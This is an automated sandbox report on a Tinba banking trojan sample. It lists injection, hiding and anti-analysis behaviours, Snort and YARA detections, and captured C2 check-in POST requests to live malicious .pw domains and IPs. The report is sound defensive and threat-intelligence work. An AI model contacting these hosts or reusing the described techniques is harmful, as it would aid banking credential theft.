Edit tour

Windows Analysis Report
java.exe

Overview

General Information

Sample name:	java.exe
Analysis ID:	1364228
MD5:	0411c0706f66b49aa6bef1528606ee31
SHA1:	bdb8cb7a8aa380138ab9220075bb08b03a5edc28
SHA256:	9e6e9d8eabba4b886fa84170137e3a72c35cc7b360a5cba1a08cbc6b6f468a3c
Tags:	exetinba
Infos:

Detection

Tinba

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Tinba Banker

Allocates memory in foreign processes

Contains functionality to inject threads in other processes

Creates a thread in another existing process (thread injection)

Creates autostart registry keys with suspicious names

Exploit detected, runtime environment starts unknown processes

Hooks files or directories query functions (used to hide files and directories)

Hooks registry keys query functions (used to hide registry keys)

Injects code into the Windows Explorer (explorer.exe)

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the prolog of user mode functions (user mode inline hooks)

Tries to detect virtualization through RDTSC time measurements

Writes to foreign memory regions

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Tries to load missing DLLs

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

java.exe (PID: 6188 cmdline: C:\Users\user\Desktop\java.exe MD5: 0411C0706F66B49AA6BEF1528606EE31)

conhost.exe (PID: 6212 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

winver.exe (PID: 6384 cmdline: winver MD5: B5471B0FB5402FC318C82C994C6BF84D)

explorer.exe (PID: 2580 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

bin.exe (PID: 6940 cmdline: "C:\Users\user\AppData\Roaming\E38A1E29\bin.exe" MD5: CB95EC2B6EF058D45AA18CD146471002)

conhost.exe (PID: 7012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

bin.exe (PID: 1196 cmdline: "C:\Users\user\AppData\Roaming\E38A1E29\bin.exe" MD5: CB95EC2B6EF058D45AA18CD146471002)

conhost.exe (PID: 352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sihost.exe (PID: 3420 cmdline: sihost.exe MD5: A21E7719D73D0322E2E7D61802CB8F80)

svchost.exe (PID: 3456 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 3528 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s WpnUserService MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

ctfmon.exe (PID: 3832 cmdline: ctfmon.exe MD5: B625C18E177D5BEB5A6F6432CCF46FB3)

svchost.exe (PID: 4196 cmdline: C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

StartMenuExperienceHost.exe (PID: 4660 cmdline: "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca MD5: 5CDDF06A40E89358807A2B9506F064D9)

RuntimeBroker.exe (PID: 4872 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: BA4CFE6461AFA1004C52F19C8F2169DC)

SearchApp.exe (PID: 4984 cmdline: "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca MD5: 5E1C9231F1F1DCBA168CA9F3227D9168)

RuntimeBroker.exe (PID: 5092 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: BA4CFE6461AFA1004C52F19C8F2169DC)

smartscreen.exe (PID: 5584 cmdline: C:\Windows\System32\smartscreen.exe -Embedding MD5: 02FB7069B8D8426DC72C9D8A495AF55A)

TextInputHost.exe (PID: 3788 cmdline: "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXjd5de1g66v206tj52m9d0dtpppx4cgpn.mca MD5: F050189D49E17D0D340DE52E9E5B711F)

RuntimeBroker.exe (PID: 5116 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: BA4CFE6461AFA1004C52F19C8F2169DC)

RuntimeBroker.exe (PID: 1532 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: BA4CFE6461AFA1004C52F19C8F2169DC)

ApplicationFrameHost.exe (PID: 5736 cmdline: C:\Windows\system32\ApplicationFrameHost.exe -Embedding MD5: D58A8A987A8DAFAD9DC32A548CC061E7)

WinStore.App.exe (PID: 2524 cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe" -ServerName:App.AppXc75wvwned5vhz4xyxxecvgdjhdkgsdza.mca MD5: 6C44453CD661FC2DB18E4C09C4940399)

RuntimeBroker.exe (PID: 1760 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: BA4CFE6461AFA1004C52F19C8F2169DC)

SystemSettings.exe (PID: 6060 cmdline: "C:\Windows\ImmersiveControlPanel\SystemSettings.exe" -ServerName:microsoft.windows.immersivecontrolpanel MD5: 3CD3CD85226FCF576DFE9B70B6DA2630)

UserOOBEBroker.exe (PID: 3924 cmdline: C:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding MD5: BCE744909EB87F293A85830D02B3D6EB)

svchost.exe (PID: 5040 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

conhost.exe (PID: 3300 cmdline: C:\Windows\system32\conhost.exe 0x4 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dllhost.exe (PID: 2912 cmdline: C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

backgroundTaskHost.exe (PID: 6064 cmdline: "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppX4325622ft6437f3xfywcfxgbedfvpn0x.mca MD5: DA7063B17DBB8BBB3015351016868006)

RuntimeBroker.exe (PID: 4504 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: BA4CFE6461AFA1004C52F19C8F2169DC)

RuntimeBroker.exe (PID: 6016 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: BA4CFE6461AFA1004C52F19C8F2169DC)

KIdSIJzxFEgRWLYApSEFvZXik.exe (PID: 4852 cmdline: "C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

KIdSIJzxFEgRWLYApSEFvZXik.exe (PID: 5144 cmdline: "C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

KIdSIJzxFEgRWLYApSEFvZXik.exe (PID: 4588 cmdline: "C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

KIdSIJzxFEgRWLYApSEFvZXik.exe (PID: 1260 cmdline: "C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

KIdSIJzxFEgRWLYApSEFvZXik.exe (PID: 2496 cmdline: "C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

KIdSIJzxFEgRWLYApSEFvZXik.exe (PID: 4600 cmdline: "C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

KIdSIJzxFEgRWLYApSEFvZXik.exe (PID: 5356 cmdline: "C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

KIdSIJzxFEgRWLYApSEFvZXik.exe (PID: 4464 cmdline: "C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

KIdSIJzxFEgRWLYApSEFvZXik.exe (PID: 2380 cmdline: "C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

KIdSIJzxFEgRWLYApSEFvZXik.exe (PID: 2852 cmdline: "C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Tinba	F-Secure notes that TinyBanker or short Tinba is usually distributed through malvertising (advertising content that leads the user to sites hosting malicious threats), exploit kits and spam email campaigns. According to news reports, Tinba has been found targeting bank customers in the United States and Europe.If Tinba successfully infects a device, it can steal banking and personal information through webinjects. To do this, the malware monitors the user's browser activity and if specific banking portals are visited, Tinba injects code to present the victim with fake web forms designed to mimic the legitimate web site. The malware then tricks them into entering their personal information, log-in credentials, etc in the legitimate-looking page.Tinba may also display socially-engineered messages to lure or pressure the user into entering their information on the fake page; for example, a message may be shown which attempts to convince the victim that funds were accidentally deposited to his account and must be refunded immediately.	No Attribution	http://contagiodump.blogspot.com/2012/06/amazon.html http://garage4hackers.com/entry.php?b=3086 http://securityintelligence.com/tinba-malware-reloaded-and-attacking-banks-around-the-world/ http://stopmalvertising.com/malware-reports/mini-analysis-of-the-tinybanker-tinba.html http://www.theregister.co.uk/2012/06/04/small_banking_trojan/	https://malpedia.caad.fkie.fraunhofer.de/details/win.tinba

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: java.exe PID: 6188	JoeSecurity_Tinba	Yara detected Tinba Banker	Joe Security
Process Memory Space: winver.exe PID: 6384	JoeSecurity_Tinba	Yara detected Tinba Banker	Joe Security
Process Memory Space: explorer.exe PID: 2580	JoeSecurity_Tinba	Yara detected Tinba Banker	Joe Security
Process Memory Space: sihost.exe PID: 3420	JoeSecurity_Tinba	Yara detected Tinba Banker	Joe Security
Process Memory Space: svchost.exe PID: 3456	JoeSecurity_Tinba	Yara detected Tinba Banker	Joe Security
Process Memory Space: svchost.exe PID: 3528	JoeSecurity_Tinba	Yara detected Tinba Banker	Joe Security
Process Memory Space: ctfmon.exe PID: 3832	JoeSecurity_Tinba	Yara detected Tinba Banker	Joe Security
Process Memory Space: svchost.exe PID: 4196	JoeSecurity_Tinba	Yara detected Tinba Banker	Joe Security
Process Memory Space: StartMenuExperienceHost.exe PID: 4660	JoeSecurity_Tinba	Yara detected Tinba Banker	Joe Security
Process Memory Space: RuntimeBroker.exe PID: 4872	JoeSecurity_Tinba	Yara detected Tinba Banker	Joe Security
Process Memory Space: SearchApp.exe PID: 4984	JoeSecurity_Tinba	Yara detected Tinba Banker	Joe Security
Process Memory Space: bin.exe PID: 6940	JoeSecurity_Tinba	Yara detected Tinba Banker	Joe Security
Click to see the 7 entries

Snort Signatures

ET TROJAN Tinba Checkin 2 - Source IP: 192.168.2.4 - Destination IP: 104.131.68.180

Timestamp:	192.168.2.4104.131.68.18049736802020418 12/19/23-00:41:44.628603
SID:	2020418
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Tinba Checkin 2 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249737802020418 12/19/23-00:41:46.120627
SID:	2020418
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN W32/Chthonic CnC Activity - Source IP: 192.168.2.4 - Destination IP: 104.131.68.180

Timestamp:	192.168.2.4104.131.68.18049736802830613 12/19/23-00:41:44.628603
SID:	2830613
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [PTsecurity] Tinba Checkin 4 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249738802024659 12/19/23-00:41:47.666890
SID:	2024659
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [PTsecurity] Tinba Checkin 4 - Source IP: 192.168.2.4 - Destination IP: 104.131.68.180

Timestamp:	192.168.2.4104.131.68.18049736802024659 12/19/23-00:41:44.628603
SID:	2024659
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Tinba Checkin 2 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249738802020418 12/19/23-00:41:47.666890
SID:	2020418
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Tinba Checkin 2 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249735802020418 12/19/23-00:41:33.880543
SID:	2020418
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [PTsecurity] Tinba Checkin 4 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249735802024659 12/19/23-00:41:33.880543
SID:	2024659
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [PTsecurity] Tinba Checkin 4 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249737802024659 12/19/23-00:41:46.120627
SID:	2024659
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: java.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://spaines.pw/EiDQjNbWEQ/	Avira URL Cloud: Label: malware
Source: http://uyhgqunqkxnx.pw/EiDQjNbWEQ/	Avira URL Cloud: Label: malware
Source: http://cmnsgscccrej.pw/EiDQjNbWEQ/	Avira URL Cloud: Label: malware
Source: http://vcklmnnejwxx.pw/EiDQjNbWEQ/	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe

Avira: detection malicious, Label: HEUR/AGEN.1322420

Multi AV Scanner detection for submitted file

Source: java.exe

ReversingLabs: Detection: 89%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: java.exe

Joe Sandbox ML: detected

Source: C:\Windows\SysWOW64\winver.exe

Code function: 2_2_047E2DCF CryptAcquireContextA,CryptImportPublicKeyInfo,CryptCreateHash,CryptHashData,CryptVerifySignatureA,CryptDestroyHash,CryptDestroyKey,CryptReleaseContext,

2_2_047E2DCF

Source: java.exe

Binary or memory string: -----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAldMoUs9Ytg4Z6u+LBejj XsQpi94U2CbOGCF5DieMHxzcr5nhleioQixxAah9IEXJgzZ8Ag69xjMADnuKMumV xOFw6SbeOhRGrT/al5Rv/X56bsKPBBn5UAR5xhzUielXM77Z8R0oKVOKfXYDXdMq hx6FPFOOnV4/H7u3zf0sUbHXjbJEamXSjWRd0O

Source: java.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE, DEBUG_STRIPPED

Source: unknown

HTTPS traffic detected: 173.222.162.32:443 -> 192.168.2.4:49730 version: TLS 1.2

Source:

Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: KIdSIJzxFEgRWLYApSEFvZXik.exe, 0000002B.00000002.2969338843.000000000051E000.00000002.00000001.01000000.00000007.sdmp

Software Vulnerabilities

Exploit detected, runtime environment starts unknown processes

Source: C:\Users\user\Desktop\java.exe

Process created: C:\Windows\System32\conhost.exe

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2024659 ET TROJAN [PTsecurity] Tinba Checkin 4 192.168.2.4:49735 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2020418 ET TROJAN Tinba Checkin 2 192.168.2.4:49735 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2024659 ET TROJAN [PTsecurity] Tinba Checkin 4 192.168.2.4:49736 -> 104.131.68.180:80
Source: Traffic	Snort IDS: 2020418 ET TROJAN Tinba Checkin 2 192.168.2.4:49736 -> 104.131.68.180:80
Source: Traffic	Snort IDS: 2830613 ETPRO TROJAN W32/Chthonic CnC Activity 192.168.2.4:49736 -> 104.131.68.180:80
Source: Traffic	Snort IDS: 2024659 ET TROJAN [PTsecurity] Tinba Checkin 4 192.168.2.4:49737 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2020418 ET TROJAN Tinba Checkin 2 192.168.2.4:49737 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2024659 ET TROJAN [PTsecurity] Tinba Checkin 4 192.168.2.4:49738 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2020418 ET TROJAN Tinba Checkin 2 192.168.2.4:49738 -> 216.218.185.162:80

Source: global traffic	HTTP traffic detected: POST /EiDQjNbWEQ/ HTTP/1.0Host: spaines.pwContent-Length: 157Data Raw: 17 df be d8 01 d5 be d8 79 91 65 5a 11 dd bf fb 27 ef 8e e8 27 ef 8e e8 Data Ascii: yeZ''
Source: global traffic	HTTP traffic detected: POST /EiDQjNbWEQ/ HTTP/1.0Host: uyhgqunqkxnx.pwContent-Length: 157Data Raw: df a3 ff f3 c4 a9 ff f3 b1 ed 24 71 d9 a1 fe d0 ef 93 cf c3 ef 93 cf c3 Data Ascii: $q
Source: global traffic	HTTP traffic detected: POST /EiDQjNbWEQ/ HTTP/1.0Host: vcklmnnejwxx.pwContent-Length: 157Data Raw: 44 9d 81 a8 58 97 81 a8 2a d3 5a 2a 42 9f 80 8b 74 ad b1 98 74 ad b1 98 Data Ascii: DXZBtt
Source: global traffic	HTTP traffic detected: POST /EiDQjNbWEQ/ HTTP/1.0Host: cmnsgscccrej.pwContent-Length: 157Data Raw: 38 28 9d 64 25 22 9d 64 56 66 46 e6 3e 2a 9c 47 08 18 ad 54 08 18 ad 54 Data Ascii: 8(d%"dVfF>*GTT

Source: Joe Sandbox View

IP Address: 216.218.185.162 216.218.185.162

Source: Joe Sandbox View	ASN Name: HURRICANEUS HURRICANEUS
Source: Joe Sandbox View	ASN Name: DIGITALOCEAN-ASNUS DIGITALOCEAN-ASNUS

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: global traffic

HTTP traffic detected: POST /threshold/xls.aspx HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: */*Accept-Language: en-CHContent-type: text/xmlX-Agent-DeviceId: 01000A4109000CC6X-BM-CBT: 1696420817X-BM-DateFormat: dd/MM/yyyyX-BM-DeviceDimensions: 784x984X-BM-DeviceDimensionsLogical: 784x984X-BM-DeviceScale: 100X-BM-DTZ: 60X-BM-Market: CHX-BM-Theme: 000000;0078d7X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66EX-Device-ClientSession: 0912CF9094994CFA88DE52C6FB19D4E1X-Device-isOptin: falseX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-Device-OSSKU: 48X-Device-Touch: falseX-DeviceID: 01000A4109000CC6X-MSEdge-ExternalExp: bfbwsbrs0830tf,d-thshldspcl40,msbdsborgv2co,msbwdsbi920t1,spofglclicksh-c2,webtophit0r_t,wsbmsaqfuxtc,wsbqfasmsall_t,wsbqfminiserp400,wsbref-tX-MSEdge-ExternalExpType: JointCoordX-PositionerType: DesktopX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateX-Search-TimeZone: Bias=0; DaylightBias=-60; TimeZoneKeyName=GMT Standard TimeX-UserAgeClass: UnknownAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comContent-Length: 2232Connection: Keep-AliveCache-Control: no-cacheCookie: MUID=6666694284484FA1B35CCB433D42E997; _SS=SID=193A581F83766B4319784BBF829B6A16&CPID=1696420820117&AC=1&CPH=e5c79613&CBV=39942242; _EDGE_S=SID=193A581F83766B4319784BBF829B6A16; SRCHUID=V=2&GUID=BA43D82178364AEA9C1EE6C32BE93416&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231003; SRCHHPGUSR=SRCHLANG=en&LUT=1696420817741&IPMH=425591ef&IPMID=1696420817913&HV=1696417346; ANON=A=6D8F9DF00282E660E425530EFFFFFFFF; CortanaAppUID=4C9C2B2D0465FD7A42C74C7E93CFB630; MUIDB=6666694284484FA1B35CCB433D42E997

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\SysWOW64\winver.exe

Code function: 2_2_047E2F88 send,send,recv,closesocket,

2_2_047E2F88

Source: unknown

DNS traffic detected: queries for: spaines.pw

Source: unknown

Source: explorer.exe, 00000003.00000000.1715884676.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3084368988.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1713964202.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: svchost.exe, 00000006.00000002.3025882268.0000019E29FC7000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.3026550314.0000019E29FCA000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000000.1795301212.0000019E29FCA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG3.crt0
Source: explorer.exe, 00000003.00000000.1715884676.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3084368988.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1713964202.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: svchost.exe, 00000006.00000002.3025882268.0000019E29FC7000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.3026550314.0000019E29FCA000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000000.1795301212.0000019E29FCA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG3.crl07
Source: SearchApp.exe, 0000000B.00000000.1827278453.0000024B41348000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1840873224.0000024B4247F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
Source: explorer.exe, 00000003.00000000.1715884676.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3084368988.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1713964202.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: svchost.exe, 00000006.00000002.3025882268.0000019E29FC7000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.3026550314.0000019E29FCA000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000000.1795301212.0000019E29FCA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG3.crl0
Source: explorer.exe, 00000003.00000000.1715884676.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3084368988.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1713964202.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.3025882268.0000019E29FC7000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.3026550314.0000019E29FCA000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000000.1795301212.0000019E29FCA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: SearchApp.exe, 0000000B.00000000.1827278453.0000024B41348000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1840873224.0000024B4247F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: explorer.exe, 00000003.00000002.3050739275.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1713964202.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
